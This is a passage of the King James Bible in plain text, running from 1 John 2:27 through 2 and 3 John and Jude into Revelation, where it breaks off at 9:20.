you: but as the same anointing +teacheth you of all things, and is truth, and is no lie, and even as +it hath taught you, ye shall abide in him. + +2:28 And now, little children, abide in him; that, when he shall +appear, we may have confidence, and not be ashamed before him at his +coming. + +2:29 If ye know that he is righteous, ye know that every one that +doeth righteousness is born of him. + +3:1 Behold, what manner of love the Father hath bestowed upon us, that +we should be called the sons of God: therefore the world knoweth us +not, because it knew him not. + +3:2 Beloved, now are we the sons of God, and it doth not yet appear +what we shall be: but we know that, when he shall appear, we shall be +like him; for we shall see him as he is. + +3:3 And every man that hath this hope in him purifieth himself, even +as he is pure. + +3:4 Whosoever committeth sin transgresseth also the law: for sin is +the transgression of the law. + +3:5 And ye know that he was manifested to take away our sins; and in +him is no sin. + +3:6 Whosoever abideth in him sinneth not: whosoever sinneth hath not +seen him, neither known him. + +3:7 Little children, let no man deceive you: he that doeth +righteousness is righteous, even as he is righteous. + +3:8 He that committeth sin is of the devil; for the devil sinneth from +the beginning. For this purpose the Son of God was manifested, that he +might destroy the works of the devil. + +3:9 Whosoever is born of God doth not commit sin; for his seed +remaineth in him: and he cannot sin, because he is born of God. + +3:10 In this the children of God are manifest, and the children of the +devil: whosoever doeth not righteousness is not of God, neither he +that loveth not his brother. + +3:11 For this is the message that ye heard from the beginning, that we +should love one another. + +3:12 Not as Cain, who was of that wicked one, and slew his brother. +And wherefore slew he him? Because his own works were evil, and his +brother's righteous. + +3:13 Marvel not, my brethren, if the world hate you. + +3:14 We know that we have passed from death unto life, because we love +the brethren. He that loveth not his brother abideth in death. + +3:15 Whosoever hateth his brother is a murderer: and ye know that no +murderer hath eternal life abiding in him. + +3:16 Hereby perceive we the love of God, because he laid down his life +for us: and we ought to lay down our lives for the brethren. + +3:17 But whoso hath this world's good, and seeth his brother have +need, and shutteth up his bowels of compassion from him, how dwelleth +the love of God in him? 3:18 My little children, let us not love in +word, neither in tongue; but in deed and in truth. + +3:19 And hereby we know that we are of the truth, and shall assure our +hearts before him. + +3:20 For if our heart condemn us, God is greater than our heart, and +knoweth all things. + +3:21 Beloved, if our heart condemn us not, then have we confidence +toward God. + +3:22 And whatsoever we ask, we receive of him, because we keep his +commandments, and do those things that are pleasing in his sight. + +3:23 And this is his commandment, That we should believe on the name +of his Son Jesus Christ, and love one another, as he gave us +commandment. + +3:24 And he that keepeth his commandments dwelleth in him, and he in +him. + +And hereby we know that he abideth in us, by the Spirit which he hath +given us. + +4:1 Beloved, believe not every spirit, but try the spirits whether +they are of God: because many false prophets are gone out into the +world. + +4:2 Hereby know ye the Spirit of God: Every spirit that confesseth +that Jesus Christ is come in the flesh is of God: 4:3 And every spirit +that confesseth not that Jesus Christ is come in the flesh is not of +God: and this is that spirit of antichrist, whereof ye have heard that +it should come; and even now already is it in the world. + +4:4 Ye are of God, little children, and have overcome them: because +greater is he that is in you, than he that is in the world. + +4:5 They are of the world: therefore speak they of the world, and the +world heareth them. + +4:6 We are of God: he that knoweth God heareth us; he that is not of +God heareth not us. Hereby know we the spirit of truth, and the spirit +of error. + +4:7 Beloved, let us love one another: for love is of God; and every +one that loveth is born of God, and knoweth God. + +4:8 He that loveth not knoweth not God; for God is love. + +4:9 In this was manifested the love of God toward us, because that God +sent his only begotten Son into the world, that we might live through +him. + +4:10 Herein is love, not that we loved God, but that he loved us, and +sent his Son to be the propitiation for our sins. + +4:11 Beloved, if God so loved us, we ought also to love one another. + +4:12 No man hath seen God at any time. If we love one another, God +dwelleth in us, and his love is perfected in us. + +4:13 Hereby know we that we dwell in him, and he in us, because he +hath given us of his Spirit. + +4:14 And we have seen and do testify that the Father sent the Son to +be the Saviour of the world. + +4:15 Whosoever shall confess that Jesus is the Son of God, God +dwelleth in him, and he in God. + +4:16 And we have known and believed the love that God hath to us. God +is love; and he that dwelleth in love dwelleth in God, and God in him. + +4:17 Herein is our love made perfect, that we may have boldness in the +day of judgment: because as he is, so are we in this world. + +4:18 There is no fear in love; but perfect love casteth out fear: +because fear hath torment. He that feareth is not made perfect in +love. + +4:19 We love him, because he first loved us. + +4:20 If a man say, I love God, and hateth his brother, he is a liar: +for he that loveth not his brother whom he hath seen, how can he love +God whom he hath not seen? 4:21 And this commandment have we from +him, That he who loveth God love his brother also. + +5:1 Whosoever believeth that Jesus is the Christ is born of God: and +every one that loveth him that begat loveth him also that is begotten +of him. + +5:2 By this we know that we love the children of God, when we love +God, and keep his commandments. + +5:3 For this is the love of God, that we keep his commandments: and +his commandments are not grievous. + +5:4 For whatsoever is born of God overcometh the world: and this is +the victory that overcometh the world, even our faith. + +5:5 Who is he that overcometh the world, but he that believeth that +Jesus is the Son of God? 5:6 This is he that came by water and blood, +even Jesus Christ; not by water only, but by water and blood. And it +is the Spirit that beareth witness, because the Spirit is truth. + +5:7 For there are three that bear record in heaven, the Father, the +Word, and the Holy Ghost: and these three are one. + +5:8 And there are three that bear witness in earth, the Spirit, and +the water, and the blood: and these three agree in one. + +5:9 If we receive the witness of men, the witness of God is greater: +for this is the witness of God which he hath testified of his Son. + +5:10 He that believeth on the Son of God hath the witness in himself: +he that believeth not God hath made him a liar; because he believeth +not the record that God gave of his Son. + +5:11 And this is the record, that God hath given to us eternal life, +and this life is in his Son. + +5:12 He that hath the Son hath life; and he that hath not the Son of +God hath not life. + +5:13 These things have I written unto you that believe on the name of +the Son of God; that ye may know that ye have eternal life, and that +ye may believe on the name of the Son of God. + +5:14 And this is the confidence that we have in him, that, if we ask +any thing according to his will, he heareth us: 5:15 And if we know +that he hear us, whatsoever we ask, we know that we have the petitions +that we desired of him. + +5:16 If any man see his brother sin a sin which is not unto death, he +shall ask, and he shall give him life for them that sin not unto +death. There is a sin unto death: I do not say that he shall pray for +it. + +5:17 All unrighteousness is sin: and there is a sin not unto death. + +5:18 We know that whosoever is born of God sinneth not; but he that is +begotten of God keepeth himself, and that wicked one toucheth him not. + +5:19 And we know that we are of God, and the whole world lieth in +wickedness. + +5:20 And we know that the Son of God is come, and hath given us an +understanding, that we may know him that is true, and we are in him +that is true, even in his Son Jesus Christ. This is the true God, and +eternal life. + +5:21 Little children, keep yourselves from idols. Amen. + + + + +The Second Epistle General of John + + +1:1 The elder unto the elect lady and her children, whom I love in +the truth; and not I only, but also all they that have known the +truth; 1:2 For the truth's sake, which dwelleth in us, and shall be +with us for ever. + +1:3 Grace be with you, mercy, and peace, from God the Father, and from +the Lord Jesus Christ, the Son of the Father, in truth and love. + +1:4 I rejoiced greatly that I found of thy children walking in truth, +as we have received a commandment from the Father. + +1:5 And now I beseech thee, lady, not as though I wrote a new +commandment unto thee, but that which we had from the beginning, that +we love one another. + +1:6 And this is love, that we walk after his commandments. This is the +commandment, That, as ye have heard from the beginning, ye should walk +in it. + +1:7 For many deceivers are entered into the world, who confess not +that Jesus Christ is come in the flesh. This is a deceiver and an +antichrist. + +1:8 Look to yourselves, that we lose not those things which we have +wrought, but that we receive a full reward. + +1:9 Whosoever transgresseth, and abideth not in the doctrine of +Christ, hath not God. He that abideth in the doctrine of Christ, he +hath both the Father and the Son. + +1:10 If there come any unto you, and bring not this doctrine, receive +him not into your house, neither bid him God speed: 1:11 For he that +biddeth him God speed is partaker of his evil deeds. + +1:12 Having many things to write unto you, I would not write with +paper and ink: but I trust to come unto you, and speak face to face, +that our joy may be full. + +1:13 The children of thy elect sister greet thee. Amen. + + + + +The Third Epistle General of John + + +1:1 The elder unto the wellbeloved Gaius, whom I love in the truth. + +1:2 Beloved, I wish above all things that thou mayest prosper and be +in health, even as thy soul prospereth. + +1:3 For I rejoiced greatly, when the brethren came and testified of +the truth that is in thee, even as thou walkest in the truth. + +1:4 I have no greater joy than to hear that my children walk in truth. + +1:5 Beloved, thou doest faithfully whatsoever thou doest to the +brethren, and to strangers; 1:6 Which have borne witness of thy +charity before the church: whom if thou bring forward on their journey +after a godly sort, thou shalt do well: 1:7 Because that for his +name's sake they went forth, taking nothing of the Gentiles. + +1:8 We therefore ought to receive such, that we might be fellowhelpers +to the truth. + +1:9 I wrote unto the church: but Diotrephes, who loveth to have the +preeminence among them, receiveth us not. + +1:10 Wherefore, if I come, I will remember his deeds which he doeth, +prating against us with malicious words: and not content therewith, +neither doth he himself receive the brethren, and forbiddeth them that +would, and casteth them out of the church. + +1:11 Beloved, follow not that which is evil, but that which is good. +He that doeth good is of God: but he that doeth evil hath not seen +God. + +1:12 Demetrius hath good report of all men, and of the truth itself: +yea, and we also bear record; and ye know that our record is true. + +1:13 I had many things to write, but I will not with ink and pen write +unto thee: 1:14 But I trust I shall shortly see thee, and we shall +speak face to face. Peace be to thee. Our friends salute thee. Greet +the friends by name. + + + + +The General Epistle of Jude + + +1:1 Jude, the servant of Jesus Christ, and brother of James, to them +that are sanctified by God the Father, and preserved in Jesus Christ, +and called: 1:2 Mercy unto you, and peace, and love, be multiplied. + +1:3 Beloved, when I gave all diligence to write unto you of the common +salvation, it was needful for me to write unto you, and exhort you +that ye should earnestly contend for the faith which was once +delivered unto the saints. + +1:4 For there are certain men crept in unawares, who were before of +old ordained to this condemnation, ungodly men, turning the grace of +our God into lasciviousness, and denying the only Lord God, and our +Lord Jesus Christ. + +1:5 I will therefore put you in remembrance, though ye once knew this, +how that the Lord, having saved the people out of the land of Egypt, +afterward destroyed them that believed not. + +1:6 And the angels which kept not their first estate, but left their +own habitation, he hath reserved in everlasting chains under darkness +unto the judgment of the great day. + +1:7 Even as Sodom and Gomorrha, and the cities about them in like +manner, giving themselves over to fornication, and going after strange +flesh, are set forth for an example, suffering the vengeance of +eternal fire. + +1:8 Likewise also these filthy dreamers defile the flesh, despise +dominion, and speak evil of dignities. + +1:9 Yet Michael the archangel, when contending with the devil he +disputed about the body of Moses, durst not bring against him a +railing accusation, but said, The Lord rebuke thee. + +1:10 But these speak evil of those things which they know not: but +what they know naturally, as brute beasts, in those things they +corrupt themselves. + +1:11 Woe unto them! for they have gone in the way of Cain, and ran +greedily after the error of Balaam for reward, and perished in the +gainsaying of Core. + +1:12 These are spots in your feasts of charity, when they feast with +you, feeding themselves without fear: clouds they are without water, +carried about of winds; trees whose fruit withereth, without fruit, +twice dead, plucked up by the roots; 1:13 Raging waves of the sea, +foaming out their own shame; wandering stars, to whom is reserved the +blackness of darkness for ever. + +1:14 And Enoch also, the seventh from Adam, prophesied of these, +saying, Behold, the Lord cometh with ten thousands of his saints, 1:15 +To execute judgment upon all, and to convince all that are ungodly +among them of all their ungodly deeds which they have ungodly +committed, and of all their hard speeches which ungodly sinners have +spoken against him. + +1:16 These are murmurers, complainers, walking after their own lusts; +and their mouth speaketh great swelling words, having men's persons in +admiration because of advantage. + +1:17 But, beloved, remember ye the words which were spoken before of +the apostles of our Lord Jesus Christ; 1:18 How that they told you +there should be mockers in the last time, who should walk after their +own ungodly lusts. + +1:19 These be they who separate themselves, sensual, having not the +Spirit. + +1:20 But ye, beloved, building up yourselves on your most holy faith, +praying in the Holy Ghost, 1:21 Keep yourselves in the love of God, +looking for the mercy of our Lord Jesus Christ unto eternal life. + +1:22 And of some have compassion, making a difference: 1:23 And others +save with fear, pulling them out of the fire; hating even the garment +spotted by the flesh. + +1:24 Now unto him that is able to keep you from falling, and to +present you faultless before the presence of his glory with exceeding +joy, 1:25 To the only wise God our Saviour, be glory and majesty, +dominion and power, both now and ever. Amen. + + + + +The Revelation of Saint John the Devine + + +1:1 The Revelation of Jesus Christ, which God gave unto him, to shew +unto his servants things which must shortly come to pass; and he sent +and signified it by his angel unto his servant John: 1:2 Who bare +record of the word of God, and of the testimony of Jesus Christ, and +of all things that he saw. + +1:3 Blessed is he that readeth, and they that hear the words of this +prophecy, and keep those things which are written therein: for the +time is at hand. + +1:4 John to the seven churches which are in Asia: Grace be unto you, +and peace, from him which is, and which was, and which is to come; and +from the seven Spirits which are before his throne; 1:5 And from Jesus +Christ, who is the faithful witness, and the first begotten of the +dead, and the prince of the kings of the earth. Unto him that loved +us, and washed us from our sins in his own blood, 1:6 And hath made us +kings and priests unto God and his Father; to him be glory and +dominion for ever and ever. Amen. + +1:7 Behold, he cometh with clouds; and every eye shall see him, and +they also which pierced him: and all kindreds of the earth shall wail +because of him. Even so, Amen. + +1:8 I am Alpha and Omega, the beginning and the ending, saith the +Lord, which is, and which was, and which is to come, the Almighty. + +1:9 I John, who also am your brother, and companion in tribulation, +and in the kingdom and patience of Jesus Christ, was in the isle that +is called Patmos, for the word of God, and for the testimony of Jesus +Christ. + +1:10 I was in the Spirit on the Lord's day, and heard behind me a +great voice, as of a trumpet, 1:11 Saying, I am Alpha and Omega, the +first and the last: and, What thou seest, write in a book, and send it +unto the seven churches which are in Asia; unto Ephesus, and unto +Smyrna, and unto Pergamos, and unto Thyatira, and unto Sardis, and +unto Philadelphia, and unto Laodicea. + +1:12 And I turned to see the voice that spake with me. And being +turned, I saw seven golden candlesticks; 1:13 And in the midst of the +seven candlesticks one like unto the Son of man, clothed with a +garment down to the foot, and girt about the paps with a golden +girdle. + +1:14 His head and his hairs were white like wool, as white as snow; +and his eyes were as a flame of fire; 1:15 And his feet like unto fine +brass, as if they burned in a furnace; and his voice as the sound of +many waters. + +1:16 And he had in his right hand seven stars: and out of his mouth +went a sharp twoedged sword: and his countenance was as the sun +shineth in his strength. + +1:17 And when I saw him, I fell at his feet as dead. And he laid his +right hand upon me, saying unto me, Fear not; I am the first and the +last: 1:18 I am he that liveth, and was dead; and, behold, I am alive +for evermore, Amen; and have the keys of hell and of death. + +1:19 Write the things which thou hast seen, and the things which are, +and the things which shall be hereafter; 1:20 The mystery of the seven +stars which thou sawest in my right hand, and the seven golden +candlesticks. The seven stars are the angels of the seven churches: +and the seven candlesticks which thou sawest are the seven churches. + +2:1 Unto the angel of the church of Ephesus write; These things saith +he that holdeth the seven stars in his right hand, who walketh in the +midst of the seven golden candlesticks; 2:2 I know thy works, and thy +labour, and thy patience, and how thou canst not bear them which are +evil: and thou hast tried them which say they are apostles, and are +not, and hast found them liars: 2:3 And hast borne, and hast patience, +and for my name's sake hast laboured, and hast not fainted. + +2:4 Nevertheless I have somewhat against thee, because thou hast left +thy first love. + +2:5 Remember therefore from whence thou art fallen, and repent, and do +the first works; or else I will come unto thee quickly, and will +remove thy candlestick out of his place, except thou repent. + +2:6 But this thou hast, that thou hatest the deeds of the +Nicolaitanes, which I also hate. + +2:7 He that hath an ear, let him hear what the Spirit saith unto the +churches; To him that overcometh will I give to eat of the tree of +life, which is in the midst of the paradise of God. + +2:8 And unto the angel of the church in Smyrna write; These things +saith the first and the last, which was dead, and is alive; 2:9 I know +thy works, and tribulation, and poverty, (but thou art rich) and I +know the blasphemy of them which say they are Jews, and are not, but +are the synagogue of Satan. + +2:10 Fear none of those things which thou shalt suffer: behold, the +devil shall cast some of you into prison, that ye may be tried; and ye +shall have tribulation ten days: be thou faithful unto death, and I +will give thee a crown of life. + +2:11 He that hath an ear, let him hear what the Spirit saith unto the +churches; He that overcometh shall not be hurt of the second death. + +2:12 And to the angel of the church in Pergamos write; These things +saith he which hath the sharp sword with two edges; 2:13 I know thy +works, and where thou dwellest, even where Satan's seat is: and thou +holdest fast my name, and hast not denied my faith, even in those days +wherein Antipas was my faithful martyr, who was slain among you, where +Satan dwelleth. + +2:14 But I have a few things against thee, because thou hast there +them that hold the doctrine of Balaam, who taught Balac to cast a +stumblingblock before the children of Israel, to eat things sacrificed +unto idols, and to commit fornication. + +2:15 So hast thou also them that hold the doctrine of the +Nicolaitanes, which thing I hate. + +2:16 Repent; or else I will come unto thee quickly, and will fight +against them with the sword of my mouth. + +2:17 He that hath an ear, let him hear what the Spirit saith unto the +churches; To him that overcometh will I give to eat of the hidden +manna, and will give him a white stone, and in the stone a new name +written, which no man knoweth saving he that receiveth it. + +2:18 And unto the angel of the church in Thyatira write; These things +saith the Son of God, who hath his eyes like unto a flame of fire, and +his feet are like fine brass; 2:19 I know thy works, and charity, and +service, and faith, and thy patience, and thy works; and the last to +be more than the first. + +2:20 Notwithstanding I have a few things against thee, because thou +sufferest that woman Jezebel, which calleth herself a prophetess, to +teach and to seduce my servants to commit fornication, and to eat +things sacrificed unto idols. + +2:21 And I gave her space to repent of her fornication; and she +repented not. + +2:22 Behold, I will cast her into a bed, and them that commit adultery +with her into great tribulation, except they repent of their deeds. + +2:23 And I will kill her children with death; and all the churches +shall know that I am he which searcheth the reins and hearts: and I +will give unto every one of you according to your works. + +2:24 But unto you I say, and unto the rest in Thyatira, as many as +have not this doctrine, and which have not known the depths of Satan, +as they speak; I will put upon you none other burden. + +2:25 But that which ye have already hold fast till I come. + +2:26 And he that overcometh, and keepeth my works unto the end, to him +will I give power over the nations: 2:27 And he shall rule them with a +rod of iron; as the vessels of a potter shall they be broken to +shivers: even as I received of my Father. + +2:28 And I will give him the morning star. + +2:29 He that hath an ear, let him hear what the Spirit saith unto the +churches. + +3:1 And unto the angel of the church in Sardis write; These things +saith he that hath the seven Spirits of God, and the seven stars; I +know thy works, that thou hast a name that thou livest, and art dead. + +3:2 Be watchful, and strengthen the things which remain, that are +ready to die: for I have not found thy works perfect before God. + +3:3 Remember therefore how thou hast received and heard, and hold +fast, and repent. If therefore thou shalt not watch, I will come on +thee as a thief, and thou shalt not know what hour I will come upon +thee. + +3:4 Thou hast a few names even in Sardis which have not defiled their +garments; and they shall walk with me in white: for they are worthy. + +3:5 He that overcometh, the same shall be clothed in white raiment; +and I will not blot out his name out of the book of life, but I will +confess his name before my Father, and before his angels. + +3:6 He that hath an ear, let him hear what the Spirit saith unto the +churches. + +3:7 And to the angel of the church in Philadelphia write; These things +saith he that is holy, he that is true, he that hath the key of David, +he that openeth, and no man shutteth; and shutteth, and no man +openeth; 3:8 I know thy works: behold, I have set before thee an open +door, and no man can shut it: for thou hast a little strength, and +hast kept my word, and hast not denied my name. + +3:9 Behold, I will make them of the synagogue of Satan, which say they +are Jews, and are not, but do lie; behold, I will make them to come +and worship before thy feet, and to know that I have loved thee. + +3:10 Because thou hast kept the word of my patience, I also will keep +thee from the hour of temptation, which shall come upon all the world, +to try them that dwell upon the earth. + +3:11 Behold, I come quickly: hold that fast which thou hast, that no +man take thy crown. + +3:12 Him that overcometh will I make a pillar in the temple of my God, +and he shall go no more out: and I will write upon him the name of my +God, and the name of the city of my God, which is new Jerusalem, which +cometh down out of heaven from my God: and I will write upon him my +new name. + +3:13 He that hath an ear, let him hear what the Spirit saith unto the +churches. + +3:14 And unto the angel of the church of the Laodiceans write; These +things saith the Amen, the faithful and true witness, the beginning of +the creation of God; 3:15 I know thy works, that thou art neither cold +nor hot: I would thou wert cold or hot. + +3:16 So then because thou art lukewarm, and neither cold nor hot, I +will spue thee out of my mouth. + +3:17 Because thou sayest, I am rich, and increased with goods, and +have need of nothing; and knowest not that thou art wretched, and +miserable, and poor, and blind, and naked: 3:18 I counsel thee to buy +of me gold tried in the fire, that thou mayest be rich; and white +raiment, that thou mayest be clothed, and that the shame of thy +nakedness do not appear; and anoint thine eyes with eyesalve, that +thou mayest see. + +3:19 As many as I love, I rebuke and chasten: be zealous therefore, +and repent. + +3:20 Behold, I stand at the door, and knock: if any man hear my voice, +and open the door, I will come in to him, and will sup with him, and +he with me. + +3:21 To him that overcometh will I grant to sit with me in my throne, +even as I also overcame, and am set down with my Father in his throne. + +3:22 He that hath an ear, let him hear what the Spirit saith unto the +churches. + +4:1 After this I looked, and, behold, a door was opened in heaven: and +the first voice which I heard was as it were of a trumpet talking with +me; which said, Come up hither, and I will shew thee things which must +be hereafter. + +4:2 And immediately I was in the spirit: and, behold, a throne was set +in heaven, and one sat on the throne. + +4:3 And he that sat was to look upon like a jasper and a sardine +stone: and there was a rainbow round about the throne, in sight like +unto an emerald. + +4:4 And round about the throne were four and twenty seats: and upon +the seats I saw four and twenty elders sitting, clothed in white +raiment; and they had on their heads crowns of gold. + +4:5 And out of the throne proceeded lightnings and thunderings and +voices: and there were seven lamps of fire burning before the throne, +which are the seven Spirits of God. + +4:6 And before the throne there was a sea of glass like unto crystal: +and in the midst of the throne, and round about the throne, were four +beasts full of eyes before and behind. + +4:7 And the first beast was like a lion, and the second beast like a +calf, and the third beast had a face as a man, and the fourth beast +was like a flying eagle. + +4:8 And the four beasts had each of them six wings about him; and they +were full of eyes within: and they rest not day and night, saying, +Holy, holy, holy, LORD God Almighty, which was, and is, and is to +come. + +4:9 And when those beasts give glory and honour and thanks to him that +sat on the throne, who liveth for ever and ever, 4:10 The four and +twenty elders fall down before him that sat on the throne, and worship +him that liveth for ever and ever, and cast their crowns before the +throne, saying, 4:11 Thou art worthy, O Lord, to receive glory and +honour and power: for thou hast created all things, and for thy +pleasure they are and were created. + +5:1 And I saw in the right hand of him that sat on the throne a book +written within and on the backside, sealed with seven seals. + +5:2 And I saw a strong angel proclaiming with a loud voice, Who is +worthy to open the book, and to loose the seals thereof? 5:3 And no +man in heaven, nor in earth, neither under the earth, was able to open +the book, neither to look thereon. + +5:4 And I wept much, because no man was found worthy to open and to +read the book, neither to look thereon. + +5:5 And one of the elders saith unto me, Weep not: behold, the Lion of +the tribe of Juda, the Root of David, hath prevailed to open the book, +and to loose the seven seals thereof. + +5:6 And I beheld, and, lo, in the midst of the throne and of the four +beasts, and in the midst of the elders, stood a Lamb as it had been +slain, having seven horns and seven eyes, which are the seven Spirits +of God sent forth into all the earth. + +5:7 And he came and took the book out of the right hand of him that +sat upon the throne. + +5:8 And when he had taken the book, the four beasts and four and +twenty elders fell down before the Lamb, having every one of them +harps, and golden vials full of odours, which are the prayers of +saints. + +5:9 And they sung a new song, saying, Thou art worthy to take the +book, and to open the seals thereof: for thou wast slain, and hast +redeemed us to God by thy blood out of every kindred, and tongue, and +people, and nation; 5:10 And hast made us unto our God kings and +priests: and we shall reign on the earth. + +5:11 And I beheld, and I heard the voice of many angels round about +the throne and the beasts and the elders: and the number of them was +ten thousand times ten thousand, and thousands of thousands; 5:12 +Saying with a loud voice, Worthy is the Lamb that was slain to receive +power, and riches, and wisdom, and strength, and honour, and glory, +and blessing. + +5:13 And every creature which is in heaven, and on the earth, and +under the earth, and such as are in the sea, and all that are in them, +heard I saying, Blessing, and honour, and glory, and power, be unto +him that sitteth upon the throne, and unto the Lamb for ever and ever. + +5:14 And the four beasts said, Amen. And the four and twenty elders +fell down and worshipped him that liveth for ever and ever. + +6:1 And I saw when the Lamb opened one of the seals, and I heard, as +it were the noise of thunder, one of the four beasts saying, Come and +see. + +6:2 And I saw, and behold a white horse: and he that sat on him had a +bow; and a crown was given unto him: and he went forth conquering, and +to conquer. + +6:3 And when he had opened the second seal, I heard the second beast +say, Come and see. + +6:4 And there went out another horse that was red: and power was given +to him that sat thereon to take peace from the earth, and that they +should kill one another: and there was given unto him a great sword. + +6:5 And when he had opened the third seal, I heard the third beast +say, Come and see. And I beheld, and lo a black horse; and he that sat +on him had a pair of balances in his hand. + +6:6 And I heard a voice in the midst of the four beasts say, A measure +of wheat for a penny, and three measures of barley for a penny; and +see thou hurt not the oil and the wine. + +6:7 And when he had opened the fourth seal, I heard the voice of the +fourth beast say, Come and see. + +6:8 And I looked, and behold a pale horse: and his name that sat on +him was Death, and Hell followed with him. And power was given unto +them over the fourth part of the earth, to kill with sword, and with +hunger, and with death, and with the beasts of the earth. + +6:9 And when he had opened the fifth seal, I saw under the altar the +souls of them that were slain for the word of God, and for the +testimony which they held: 6:10 And they cried with a loud voice, +saying, How long, O Lord, holy and true, dost thou not judge and +avenge our blood on them that dwell on the earth? 6:11 And white +robes were given unto every one of them; and it was said unto them, +that they should rest yet for a little season, until their +fellowservants also and their brethren, that should be killed as they +were, should be fulfilled. + +6:12 And I beheld when he had opened the sixth seal, and, lo, there +was a great earthquake; and the sun became black as sackcloth of hair, +and the moon became as blood; 6:13 And the stars of heaven fell unto +the earth, even as a fig tree casteth her untimely figs, when she is +shaken of a mighty wind. + +6:14 And the heaven departed as a scroll when it is rolled together; +and every mountain and island were moved out of their places. + +6:15 And the kings of the earth, and the great men, and the rich men, +and the chief captains, and the mighty men, and every bondman, and +every free man, hid themselves in the dens and in the rocks of the +mountains; 6:16 And said to the mountains and rocks, Fall on us, and +hide us from the face of him that sitteth on the throne, and from the +wrath of the Lamb: 6:17 For the great day of his wrath is come; and +who shall be able to stand? 7:1 And after these things I saw four +angels standing on the four corners of the earth, holding the four +winds of the earth, that the wind should not blow on the earth, nor on +the sea, nor on any tree. + +7:2 And I saw another angel ascending from the east, having the seal +of the living God: and he cried with a loud voice to the four angels, +to whom it was given to hurt the earth and the sea, 7:3 Saying, Hurt +not the earth, neither the sea, nor the trees, till we have sealed the +servants of our God in their foreheads. + +7:4 And I heard the number of them which were sealed: and there were +sealed an hundred and forty and four thousand of all the tribes of the +children of Israel. + +7:5 Of the tribe of Juda were sealed twelve thousand. Of the tribe of +Reuben were sealed twelve thousand. Of the tribe of Gad were sealed +twelve thousand. + +7:6 Of the tribe of Aser were sealed twelve thousand. Of the tribe of +Nephthalim were sealed twelve thousand. Of the tribe of Manasses were +sealed twelve thousand. + +7:7 Of the tribe of Simeon were sealed twelve thousand. Of the tribe +of Levi were sealed twelve thousand. Of the tribe of Issachar were +sealed twelve thousand. + +7:8 Of the tribe of Zabulon were sealed twelve thousand. Of the tribe +of Joseph were sealed twelve thousand. Of the tribe of Benjamin were +sealed twelve thousand. + +7:9 After this I beheld, and, lo, a great multitude, which no man +could number, of all nations, and kindreds, and people, and tongues, +stood before the throne, and before the Lamb, clothed with white +robes, and palms in their hands; 7:10 And cried with a loud voice, +saying, Salvation to our God which sitteth upon the throne, and unto +the Lamb. + +7:11 And all the angels stood round about the throne, and about the +elders and the four beasts, and fell before the throne on their faces, +and worshipped God, 7:12 Saying, Amen: Blessing, and glory, and +wisdom, and thanksgiving, and honour, and power, and might, be unto +our God for ever and ever. Amen. + +7:13 And one of the elders answered, saying unto me, What are these +which are arrayed in white robes? and whence came they? 7:14 And I +said unto him, Sir, thou knowest. And he said to me, These are they +which came out of great tribulation, and have washed their robes, and +made them white in the blood of the Lamb. + +7:15 Therefore are they before the throne of God, and serve him day +and night in his temple: and he that sitteth on the throne shall dwell +among them. + +7:16 They shall hunger no more, neither thirst any more; neither shall +the sun light on them, nor any heat. + +7:17 For the Lamb which is in the midst of the throne shall feed them, +and shall lead them unto living fountains of waters: and God shall +wipe away all tears from their eyes. + +8:1 And when he had opened the seventh seal, there was silence in +heaven about the space of half an hour. + +8:2 And I saw the seven angels which stood before God; and to them +were given seven trumpets. + +8:3 And another angel came and stood at the altar, having a golden +censer; and there was given unto him much incense, that he should +offer it with the prayers of all saints upon the golden altar which +was before the throne. + +8:4 And the smoke of the incense, which came with the prayers of the +saints, ascended up before God out of the angel's hand. + +8:5 And the angel took the censer, and filled it with fire of the +altar, and cast it into the earth: and there were voices, and +thunderings, and lightnings, and an earthquake. + +8:6 And the seven angels which had the seven trumpets prepared +themselves to sound. + +8:7 The first angel sounded, and there followed hail and fire mingled +with blood, and they were cast upon the earth: and the third part of +trees was burnt up, and all green grass was burnt up. + +8:8 And the second angel sounded, and as it were a great mountain +burning with fire was cast into the sea: and the third part of the sea +became blood; 8:9 And the third part of the creatures which were in +the sea, and had life, died; and the third part of the ships were +destroyed. + +8:10 And the third angel sounded, and there fell a great star from +heaven, burning as it were a lamp, and it fell upon the third part of +the rivers, and upon the fountains of waters; 8:11 And the name of the +star is called Wormwood: and the third part of the waters became +wormwood; and many men died of the waters, because they were made +bitter. + +8:12 And the fourth angel sounded, and the third part of the sun was +smitten, and the third part of the moon, and the third part of the +stars; so as the third part of them was darkened, and the day shone +not for a third part of it, and the night likewise. + +8:13 And I beheld, and heard an angel flying through the midst of +heaven, saying with a loud voice, Woe, woe, woe, to the inhabiters of +the earth by reason of the other voices of the trumpet of the three +angels, which are yet to sound! 9:1 And the fifth angel sounded, and +I saw a star fall from heaven unto the earth: and to him was given the +key of the bottomless pit. + +9:2 And he opened the bottomless pit; and there arose a smoke out of +the pit, as the smoke of a great furnace; and the sun and the air were +darkened by reason of the smoke of the pit. + +9:3 And there came out of the smoke locusts upon the earth: and unto +them was given power, as the scorpions of the earth have power. + +9:4 And it was commanded them that they should not hurt the grass of +the earth, neither any green thing, neither any tree; but only those +men which have not the seal of God in their foreheads. + +9:5 And to them it was given that they should not kill them, but that +they should be tormented five months: and their torment was as the +torment of a scorpion, when he striketh a man. + +9:6 And in those days shall men seek death, and shall not find it; and +shall desire to die, and death shall flee from them. + +9:7 And the shapes of the locusts were like unto horses prepared unto +battle; and on their heads were as it were crowns like gold, and their +faces were as the faces of men. + +9:8 And they had hair as the hair of women, and their teeth were as +the teeth of lions. + +9:9 And they had breastplates, as it were breastplates of iron; and +the sound of their wings was as the sound of chariots of many horses +running to battle. + +9:10 And they had tails like unto scorpions, and there were stings in +their tails: and their power was to hurt men five months. + +9:11 And they had a king over them, which is the angel of the +bottomless pit, whose name in the Hebrew tongue is Abaddon, but in the +Greek tongue hath his name Apollyon. + +9:12 One woe is past; and, behold, there come two woes more hereafter. + +9:13 And the sixth angel sounded, and I heard a voice from the four +horns of the golden altar which is before God, 9:14 Saying to the +sixth angel which had the trumpet, Loose the four angels which are +bound in the great river Euphrates. + +9:15 And the four angels were loosed, which were prepared for an hour, +and a day, and a month, and a year, for to slay the third part of men. + +9:16 And the number of the army of the horsemen were two hundred +thousand thousand: and I heard the number of them. + +9:17 And thus I saw the horses in the vision, and them that sat on +them, having breastplates of fire, and of jacinth, and brimstone: and +the heads of the horses were as the heads of lions; and out of their +mouths issued fire and smoke and brimstone. + +9:18 By these three was the third part of men killed, by the fire, and +by the smoke, and by the brimstone, which issued out of their mouths. + +9:19 For their power is in their mouth, and in their tails: for their +tails were like unto serpents, and had heads, and with them they do +hurt. + +9:20 And the rest of the men which were not killed by these plagues +yet repented not of the works of their hands, that they should not +worship devils, and idols of gold, and silver, and brass, and stone, +and of wood: which neither can see, nor 